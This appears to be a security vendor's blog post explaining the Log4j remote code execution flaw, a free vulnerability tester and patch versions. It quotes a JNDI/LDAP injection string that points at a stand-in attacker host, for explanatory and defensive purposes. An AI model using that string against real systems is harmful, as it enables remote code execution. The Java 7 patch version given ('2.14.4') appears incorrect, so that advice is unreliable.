If you’re been living under a rock or have sworn off watching the news—and who could blame you?—you may not know that there’s a new software vulnerability in town.
Log4j, which is developed and licensed by Apache, is a popular logging tool that touches a lot of software applications.
This is no exaggeration.
Those affected include Apple, Amazon, Cisco, Tesla, Minecraft and FileZilla FTP—and that’s the short list. Hundreds of other third-party applications also use Log4j.
Why Does It Matter?
Java-based Log4j uses the Java Naming and Directory Interface (JNDI). This feature retrieves and runs Java classes and objects, which are then returned in Lightweight Directory Access Protocol (LDAP) format.
LDAP is used to access directory services (e.g., querying multiple databases of information at the same time).
The string ${jndi:ldap://ATTACKERCONTROLEDHOST}, for example, calls out this JNDI functionality, allowing it to reach out to ATTACKERCONTROLLEDHOST (using an LDAP server) and retrieve and return whatever malicious thing is there.
In short, an attacker can insert and execute almost any line of code with just this single string—all through remote code execution (RCE). This includes malware, Bitcoin ransomware, privilege escalation, etc.
Am I Vulnerable?
Our own Caleb Stewart and John Hammond, along with our friend in the industry Jason Slagle, created an open-source tool that you can use to test your software—even if you’re not super tech-savvy.
All you have to do is enter a simple block of code into any place where inputs are processed (e.g., passwords, site forms, etc.). That string will connect to us over LDAP.
If a connection occurs, your software is vulnerable.
However, we don’t send any code to you. We also don’t store logs of who connects or which hosts are vulnerable—all this gets deleted after the first 30 minutes.
There are several other open-source testing environments for Log4j on GitHub:
Things To Keep In Mind
Even if you don’t get a hit after using the tools above, you may not be out of the woods just yet. Here are a few things to keep in mind when trying to assess your vulnerability:
- Obfuscation: the exploit doesn’t have to look like the string above, and it’s unlikely to be logged or detected if successfully executed
- Outbound communication isn’t necessarily required: malicious processes may execute without evidence of communication happening—but it’s still a good idea to keep an eye on server communication until all patching is complete
- Vendor patching and/or mitigation is ongoing: due to the widespread use of Log4j, it will take some time for every software vendor to implement a patch or workaround for their specific software
Log4j 2
But it’s not all doom and gloom. Apache has released Log4j 2.17.1. This is the latest patch for Java 8 (or later) and addresses the RCE via JDBC Appender vulnerability in 2.17.0. If this is your version, you will need to upgrade again.
Log4j 2.16 included some pretty significant upgrades over the 1.x versions including “garbage-free” logging (which prevents the allocating of temporary objects) and the ability to retain events while configuring. However, this version disables JNDI by default due to the security risk introduced when using it. If you have applications that rely on JNDI, you can re-enable it with the log4j2.enableJndi system property—with the caveat that the use of any JNDI-dependent library poses an ongoing risk.
For those using Java 7, please update to 2.14.4 as this is the version that patches the current RCE vulnerability.
For more details—as well as some desperately needed laughs—watch the full version of our special Tradecraft Tuesday episode!
